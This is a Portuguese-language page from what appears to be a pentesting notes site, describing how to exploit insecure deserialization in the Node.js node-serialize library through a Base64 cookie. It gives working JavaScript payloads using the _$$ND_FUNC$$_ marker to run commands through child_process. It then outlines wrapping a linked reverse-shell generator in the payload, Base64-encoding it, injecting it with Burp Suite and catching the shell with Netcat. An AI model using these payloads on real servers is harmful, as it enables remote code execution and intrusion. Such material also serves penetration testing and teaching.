> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).
# Desserialização Node.js em Base64
## Desserialização (node.js)
Com o Burp Suite, interceptar a requisição e encontrar um **cookie codificado em Base64**:
### **Manual:**
O **serialize.js** arquivo abaixo serializa os dados e executa um comando, neste caso `id`, em **nossa máquina**:
```javascript
var y = {
rthis: function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));
```
Para enviar o payload para o **servidor**, crie o **unserialize.js** arquivo abaixo:
```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
```
### **Automaticamente:**
Use este [script](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), faça o upload dele e execute-o com **python2.7**:
Crie um arquivo chamado `dados` com o conteúdo abaixo e substitua **input** pelo conteúdo do script:
```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}
```
Por fim, converta este arquivo para **Base64**:
Cole o conteúdo no Burp Suite:
Com **Netcat**, ouça e obtenha acesso:
---
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